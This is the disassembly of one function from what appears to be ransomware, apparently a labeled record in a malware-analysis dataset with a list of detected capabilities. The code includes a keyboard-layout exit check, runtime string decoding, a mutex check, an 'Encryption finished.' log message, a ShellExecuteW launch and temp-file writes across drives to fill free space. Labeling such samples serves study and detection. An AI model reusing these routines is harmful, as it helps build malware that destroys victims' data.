Function at 0x140023420
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Get disk information
Get keyboard layout
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, reloc.SHELL32.dll_IsUserAnAdmin
sub rsp, 0x380
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14012e190]
xor rax, rsp
mov qword [rbp + 0x270], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov eax, 8
mul rbx
mov rdi, 0xffffffffffffffff
cmovo rax, rdi
mov rcx, rax
call fcn.14007a450
mov rsi, rax
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x50], rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
test eax, eax
je 0x1400234c2
test ebx, ebx
jle 0x1400234c2
xor eax, eax
mov ecx, 0x429
nop dword [rax]
cmp word [rsi + rax*8], cx
je 0x1400237b0
inc rax
cmp rax, rbx
jl 0x1400234b0
test rsi, rsi
je 0x1400234d4
mov edx, 8
mov rcx, rsi
call fcn.14007a2fc
call fcn.1400479f0
xor eax, eax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov byte [rsp + 0x50], al
mov byte [rsp + 0x51], 4
mov byte [rsp + 0x52], 0x5e
mov byte [rsp + 0x53], 0x73
mov byte [rsp + 0x54], 0x31
mov byte [rsp + 0x55], 0x35
mov byte [rsp + 0x56], 0x5e
mov byte [rsp + 0x57], 0x73
mov byte [rsp + 0x58], 0x6f
mov byte [rsp + 0x59], 0x39
mov byte [rsp + 0x5a], 0x31
mov byte [rsp + 0x5b], 0x46
mov byte [rsp + 0x5c], 0x46
mov byte [rsp + 0x5d], 0x42
mov byte [rsp + 0x5e], 0x39
mov byte [rsp + 0x5f], 0x5a
mov byte [rsp + 0x60], 0x5e
mov byte [rsp + 0x61], 0x31
mov byte [rsp + 0x62], 0x73
mov byte [rsp + 0x63], 0x39
mov byte [rsp + 0x64], 0x73
mov byte [rsp + 0x65], 0x6f
mov byte [rsp + 0x66], al
mov byte [rsp + 0x67], 0x35
mov byte [rsp + 0x68], 0x39
mov byte [rsp + 0x69], 0x73
mov byte [rsp + 0x6a], 4
mov byte [rsp + 0x6b], 0x35
mov byte [rsp + 0x6c], 0x56
mov byte [rsp + 0x6d], 0x6f
mov byte [rsp + 0x6e], 0x6f
mov byte [rsp + 0x6f], 0x46
mov byte [rsp + 0x70], 0x42
mov byte [rsp + 0x71], 0x42
mov byte [rsp + 0x72], 0x31
mov byte [rsp + 0x73], 0x5a
mov byte [rsp + 0x74], 0x46
mov byte [rsp + 0x75], 0x75
movzx eax, byte [rsp + 0x51]
movzx eax, byte [rsp + 0x50]
xor esi, esi
test al, al
jne 0x140023607
mov r9d, esi
movzx ecx, byte [rsp + r9 + 0x51]
sub ecx, 0x75
imul r8d, ecx, 0x1f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x51], r8b
inc r9
cmp r9, 0x25
jb 0x1400235b2
movdqa xmm0, xmmword [0x14010ecc0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
lea rax, [rsp + 0x51]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140023620
mov r8, rdi
lea rdx, [rsp + 0x51]
lea rcx, [rbp - 0x80]
call fcn.140023e20
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae r8, qword [rbp - 0x80]
mov ebx, 1
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp - 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne byte [rbp - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140023da0
call fcn.1400233d0
movsx r15d, al
call fcn.1400233c0
movsx ecx, al
imul r15d, ecx
call fcn.140023400
movsx r12d, al
lea r13d, [r12 + r15*8]
add r13d, r15d
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x1400237f1
movsx ecx, byte [0x1401374b4]
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movsx ecx, byte [0x1401374b6]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, rsi
cmp byte [rbp - 0x20], 0
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
imul eax, r15d, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x140023757
call fcn.1400233e0
movsx edx, al
movsx eax, byte [0x140140cd8]
imul edx, eax
add edx, edx
call fcn.140023410
movsx ecx, al
sub edx, ecx
call fcn.1400233f0
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x1401374b6]
add ecx, edx
jne 0x1400237bf
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x1400237bc
lea edx, [r15 + r12]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rdx + r15*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si ebx, xmm0
jmp 0x1400237bf
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [rbp - 0x30]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
lea eax, [rax + r15*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400237f1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140051850
call fcn.140027930
call fcn.140048b40
lea rcx, [rbp + 8]
call fcn.14003eb30
nop
mov rdi, qword [rbp + 0x10]
mov rbx, qword [rbp + 8]
cmp rbx, rdi
je 0x140023828
mov rcx, rbx
call fcn.140047740
add rbx, 0x20
cmp rbx, rdi
jne 0x140023817
lea rcx, [rbp + 8]
call fcn.140034c70
call fcn.140047fd0
call fcn.14004d2f0
call fcn.14004d830
call fcn.14004e520
call fcn.140051260
call fcn.14004a130
lea rcx, [rbp + 0x20]
call fcn.14003f210
nop
mov rdi, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x20]
cmp rbx, rdi
je 0x140023877
mov rcx, rbx
call fcn.14004ab70
add rbx, 0x20
cmp rbx, rdi
jne 0x140023866
lea rcx, [rbp + 0x20]
call fcn.140034c70
call fcn.1400331e0
lea rdx, str.Waiting_for_IO_workers.
call fcn.14002f4d0
mov rbx, qword [0x140140040]
test rbx, rbx
je 0x1400238b2
mov rcx, rbx
call fcn.140026ca0
mov edx, 0xe0
mov rcx, rbx
call fcn.14007a2fc
mov rbx, qword [0x140140048]
test rbx, rbx
je 0x140023955
mov rcx, rbx
call fcn.140025e30
mov rax, qword [rbx + 8]
test rax, rax
je 0x140023934
mov rdx, qword [rbx + 0x10]
mov rcx, rax
cmp rax, rdx
je 0x1400238f3
nop
cmp dword [rax + 8], 0
jne 0x140023d4a
add rax, 0x10
cmp rax, rdx
jne 0x1400238e0
mov rdx, qword [rbx + 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
cmp rdx, 0x1000
jb 0x140023923
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140023d44
mov rcx, r8
call fcn.14007a2fc
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
mov rcx, qword [rbx]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140023948
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edx, 0x38
mov rcx, rbx
call fcn.14007a2fc
mov qword [0x140140048], rsi
lea rdx, str.Encryption_finished.
call fcn.14002f4d0
call fcn.140048ee0
call fcn.14004c1b0
call fcn.14004afe0
call fcn.14004d5a0
call fcn.14004de00
lea rcx, [rbp - 0x58]
call fcn.140039e20
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140023997
mov r8, qword [rax]
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0x4b
mov byte [rsp + 0x42], 0x5d
mov byte [rsp + 0x43], 0x5c
mov byte [rsp + 0x44], 0x5d
mov byte [rsp + 0x45], 0x20
mov byte [rsp + 0x46], 0x5d
mov byte [rsp + 0x47], 0x3a
mov byte [rsp + 0x48], 0x5d
mov byte [rsp + 0x49], 0x5d
mov byte [rsp + 0x4a], 0x5d
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x140023a35
mov r10, rsi
nop
movzx ecx, byte [rsp + r10 + 0x41]
sub ecx, 0x5d
imul r9d, ecx, 0xf
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
add r9d, 0x7f
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
mov byte [rsp + r10 + 0x41], r9b
inc r10
cmp r10, 0xa
jb 0x1400239e0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rsp + 0x41]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x58]
call fcn.14002d500
lea rcx, [rbp + 0x38]
call fcn.140033090
nop
mov r14, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x38]
cmp rbx, r14
je 0x140023bb8
nop word [rax + rax]
lea r8, [0x14010dd90]
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140034d90
lea rcx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 1
jbe 0x140023abd
lea rcx, [rbp - 0x18]
call fcn.14002d500
jmp 0x140023bab
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140023aca
mov rcx, qword [rbx]
lea r9, [rbp + 0x60]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x140023aeb
lea rcx, [rbp - 0x18]
call fcn.14002d500
jmp 0x140023bab
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x24000002
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140023b3d
lea rcx, [rbp - 0x18]
call fcn.14002d500
jmp 0x140023bab
mov edx, 0x80000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
nop word [rax + rax]
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x30]
mov r8d, 0x80000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140023b60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x80000
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp - 0x18]
call fcn.14002d500
xor esi, esi
add rbx, 0x20
cmp rbx, r14
jne 0x140023a80
lea rcx, [rbp + 0x38]
call fcn.140034c70
call fcn.14004e150
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
add eax, r15d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx ecx, byte [0x1401374b4]
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movsx ecx, byte [0x1401374b6]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
imul eax, r15d, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x140023c78
call fcn.1400233e0
movsx edx, al
movsx eax, byte [0x140140cd8]
imul edx, eax
add edx, edx
call fcn.140023410
movsx ecx, al
sub edx, ecx
call fcn.1400233f0
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x1401374b6]
add ecx, edx
jne 0x140023cd8
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x140023cd1
lea edx, [r15 + r12]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rdx + r15*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
jmp 0x140023cd4
mov eax, dword [rbp - 0x30]
test eax, eax
jle 0x140023cf8
mov rbx, qword [rbp - 0x28]
cmp byte [rbp - 0x20], 0
je 0x140023ceb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140023d14
mov rbx, qword [rbp - 0x28]
cmp byte [rbp - 0x20], 0
je 0x140023d0b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.140079ca0
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400a74a4
nop
call fcn.1400a7250
int3
sub rsp, 0x28
lea rcx, [0x140045570]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
add rsp, 0x28
jmp 0x140023420